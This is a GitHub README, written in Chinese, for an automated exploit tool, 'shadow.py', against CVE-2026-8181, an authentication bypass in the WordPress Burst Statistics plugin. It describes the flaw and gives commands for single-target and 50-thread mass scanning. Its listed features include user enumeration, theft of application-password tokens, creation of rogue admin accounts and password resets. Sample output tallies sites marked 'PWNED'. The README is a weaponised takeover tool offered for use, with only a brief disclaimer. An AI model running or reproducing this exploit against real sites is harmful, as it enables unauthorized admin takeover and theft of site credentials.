xShadow-Here/CVE-2026-8181

GitHub: xShadow-Here/CVE-2026-8181

这是一个自动化利用WordPress插件Burst Statistics漏洞CVE-2026-8181的工具,可实现认证绕过和管理员账户接管。

Stars: 0 | Forks: 0

# CVE-2026-8181 漏洞 Burst Statistics | 认证绕过导致管理员账户接管 ### 漏洞描述: Burst Statistics 3.4.0 - 3.4.1.1 版本 - 认证绕过导致管理员账户接管 WordPress 的 Burst Statistics – 隐私友好型 WordPress 分析(Google Analytics 替代方案)插件在 3.4.0 至 3.4.1.1 版本中存在认证绕过漏洞。这是由于在 `is_mainwp_authenticated()` 函数中处理来自 Authorization 头的应用密码时,返回值处理不当所致。该函数调用 `wp_authenticate_application_password(null, $username, $password)`,当目标用户未配置应用密码时,此函数返回 `null`(而非 `WP_Error`)。由于代码仅检查 `is_wp_error()`,因此会继续调用 `wp_set_current_user()` —— 这会在整个请求期间授予攻击者完全的管理员权限。 该绕过触发于 `plugins_loaded`(优先级 9)期间,通过插件引导中的 `has_admin_access()` 实现,这意味着用户身份冒充发生在 **WordPress REST API 调度任何路由之前** —— 从而可以作为管理员访问所有 WP 核心端点(`/wp/v2/users`、`/wp/v2/users/me` 等)。 这使得未经认证的攻击者,只要知道管理员用户名,便可通过提供任意随机的 Basic Authentication 密码来冒充该管理员,实现完全的权限提升和管理员账户接管。 # 信息:[**CVE-2026-8181**](https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/burst-statistics/burst-statistics-340-3411-authentication-bypass-to-admin-account-takeover) ~ **CVSS 评分:9.8(严重)** ~ **CVSS 向量:CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H** ~ **受影响版本:3.4.0 - 3.4.1.1** ~ **修复版本:3.4.2** - 研究员:[**Chloe Chamberland - Wordfence**](https://www.wordfence.com/threat-intel/vulnerabilities/researchers/chloe-chamberland) ### 用法: **单个目标:** - `python3 shadow.py -u https://target.com` **已知用户名的单个目标:** - `python3 shadow.py -u https://target.com -U admin` **批量目标:** - `python3 shadow.py -f targets.txt -t 20` **交互模式:** - `python3 shadow.py` - 输入目标文件名 - 输入线程数(最大 1-50) - 输入超时时间(5-30秒) ### 功能: - 多线程(批量扫描最高支持 50 线程) - 通过 X-BURSTMAINWP 头 + Basic Auth 实现认证绕过 - 自动检测 WordPress - Burst Statistics 版本检测与漏洞版本检查 - 路由存活检查(`/burst/v1/mainwp-auth`) - 用户枚举(REST API + 作者归档 + oEmbed 回退) - 应用密码令牌提取 - 通过 WP REST API 创建管理员用户 - 管理员密码重置(回退) - 通过 wp-login.php 验证接管 - 自动 HTTP/HTTPS 回退与重试 - 三重输出(user.txt, token.txt, new-user-and-header.txt) ### 输出: ``` ╔══════════════════════════════════════════════════════╗ ║ 🔥 CVE-2026-8181 Burst Statistics Auth Bypass ║ ║ 👩‍💻 Friska & Shadow | Route Check | Full Fallback ║ ║ 🎯 3.4.0-3.4.1.1 | CVSS 9.8 | Triple Output ║ ╚══════════════════════════════════════════════════════╝ [*] [HTTP] http://target.com [+] Burst Statistics version: 3.4.0 [+] Burst mainwp-auth route alive! [*] Testing 2 user(s): admin, editor [*] Trying bypass on: admin (id=1) [+] BYPASS SUCCESS → admin (id=1, admin=True) [+] Application Password token extracted! [💀] USER CREATED: shadow / R4nd0mP@ss! [💀] TAKEOVER VERIFIED via wp-login.php! [💀] SUCCESS! http://target.com/wp-admin/ ``` ``` ⚡ MASS SCAN: 50 targets | 20 threads ──────────────────────────────────────────────────────────── [💀] [1/50] http://target1.com → PWNED! [💀] [2/50] http://target2.com → PWNED! [☠️] [3/50] http://target3.com → DEAD [-] [4/50] http://target4.com → SECURED [!] [5/50] http://target5.com → PATCHED ──────────────────────────────────────────────────────────── ╔══════════════════════════════════╗ ║ 📊 SCAN SUMMARY ║ ╠══════════════════════════════════╣ ║ 💀 PWNED: 12 ║ ║ ☠️ DEAD: 8 ║ ║ 🔒 SECURED: 5 ║ ║ ⚠️ PATCHED: 15 ║ ║ ❌ FAILED: 10 ║ ╠══════════════════════════════════╣ ║ Total: 50 ║ ╚══════════════════════════════════╝ [+] 📁 user.txt | token.txt | new-user-and-header.txt ``` ## 免责声明: ## 本工具仅用于教育和安全测试目的。 未经授权使用您不拥有或未获得测试许可的系统是非法的。
标签:Burst Statistics, CISA项目, CVE-2026-8181, CVSS 9.8, PHP开发, REST API, Web报告查看器, WordPress安全, 协议分析, 基本认证, 威胁模拟, 安全更新, 应用密码, 插件漏洞, 操作系统监控, 无服务器架构, 权限提升, 漏洞分析, 用户模拟, 管理员账户接管, 网络安全, 认证绕过, 路径探测, 逆向工具, 隐私保护